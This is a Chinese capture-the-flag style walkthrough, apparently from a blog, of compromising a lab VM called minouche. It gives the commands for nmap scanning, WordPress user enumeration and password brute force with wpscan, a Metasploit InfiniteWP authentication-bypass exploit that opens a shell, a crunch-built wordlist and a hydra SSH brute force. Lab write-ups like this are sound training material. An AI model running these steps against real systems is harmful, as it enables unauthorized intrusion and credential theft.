靶机准备

先将靶机导入虚拟机,并将网络模式改为NAT



扫描不到ip,改VirtualBox,使用桥接,并将kali也改为桥接模式



扫描ip:192.168.0.102

netdiscover -r 192.168.0.0/24192.168.0.0/24



kali:192.168.0.105

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.0.102



开放了3个端口

查看80端口



发现是wordpress的CMS框架

再用dirb扫描,确认一下



用wpscan扫描,枚举用户

wpscan --url http://192.168.0.102 -e u,p

扫描到一个用户:kitty



尝试爆破密码

wpscan --url http://192.168.0.102 -U kitty -P /usr/share/wordlists/rockyou.txt



半天爆不出来,尝试从插件入手,用此工具扫描其插件

wpscan --url http://192.168.0.102 -e u,p --plugins-detection mixed

扫描到插件iwp-client



发现有漏洞:



使用msf搜索此漏洞进行利用

search InfiniteWP
use exploit/unix/webapp/wp_infinitewp_auth_bypass
set lhost 192.168.0.105
set rhosts 192.168.0.102
set username kitty
exploit



成功拿到shell

挖掘信息

一直退到根目录下发现有一个kitty.txt文件,cat查看



有个提示,你的密码使用美元符+猫的名字+你出生的年份不是一个好密码

用kali下自带的crunch根据提示生成字典

命令:

crunch 13 13 -t "$"Minouche19%% -o 1.txt
crunch 13 13 -t "$"Minouche20%% -o 2.txt



用hydra爆破一波

hydra -l kitty -P 2.txt ssh://192.168.0.102

爆破出密码



利用得到的密码,登录



在目录下发现user.txt,cat查看



发现还有一个压缩包:android.zip

拷贝下来解压

scp kitty@192.168.0.102:~/android.zip /root



解压完以后多了一个data里面有很多数据



搜索数据库发现一个数据库里面有东西

find . -name *.db



打开数据库工具在里面发现有一长串数据



尝试用这串数据提权



提权成功

获取root目录下的数据

minouche的更多相关文章

随机推荐

  1. 6.Flink实时项目之业务数据分流

    在上一篇文章中,我们已经获取到了业务数据的输出流,分别是dim层维度数据的输出流,及dwd层事实数据的输出流,接下来我们要做的就是把这些输出流分别再流向对应的数据介质中,dim层流向hbase中,dw ...

  2. MySQL高级优化

    MySQL高级 1.索引是什么? (1)索引是排好序可以快速查找的数据结构 (2)方便快速查找,索引实际上也是一张表所以也是要占内存的 2.索引存在哪里? (1)InnoDB引擎 ①索引是和数据存放在 ...

  3. vscode使用vue代码模板

    1.vscode中打开:文件>首选项>用户片段>vue.json 2.复制下面代码并保存. 点击查看代码 { "Print to console": { &quo ...

  4. Docker配置Pytorch深度学习环境

    拉取镜像 $ docker pull pytorch/pytorch:1.9.1-cuda11.1-cudnn8-devel 查看本地已有镜像 $ docker images 创建容器 $ docke ...

  5. Oracle表的约束

    表的约束定义:表的约束是 ORACLE 数据库中应用在表数据上的一系列强制性规则 按照约束用途分类: PRIMARY KEY:主键约束 FOREIGN KEY:外键约束 CHECK:检查约束 UNIQ ...

  6. javaScript(js)手写原生任务定时器源码

    javaScript(js)手写原生任务定时器 功能介绍 定时器顾名思义就是在某个特定的时间去执行一些任务,现代的应用程序早已不是以前的那些由简单的增删改查拼凑而成的程序了,高复杂性早已是标配,而任务 ...

  7. kubebuilder operator的运行逻辑

    kubebuilder 的运行逻辑 概述 下面是kubebuilder 的架构图.可以看到最外层是通过名为Manager的组件驱动的,Manager中包含了多个组件,其中Cache中保存了gvk和in ...

  8. Android studio常用快捷键导包的设置

    下面是一些快捷键的使用还有快速导包的设置 1. Ctrl+G 同时按下Ctrl+G快捷键弹出快速定位框,在框中输入行数点击OK即可快速切换到对应的行数,如图2.17所示. 2. Ctrl+E 同时按下 ...

  9. AtCoder Beginner Contest 242 题解

    目录 C - 1111gal password D - ABC Transform E - (∀x∀) F - Black and White Rooks G - Range Pairing Quer ...

  10. 哈工大 计算机系统 实验二 Datalab数据表示

    所有实验文件可见github 计算机系统实验整理 由于word文件没有保存,因此如需参考此实验,请直接访问github文件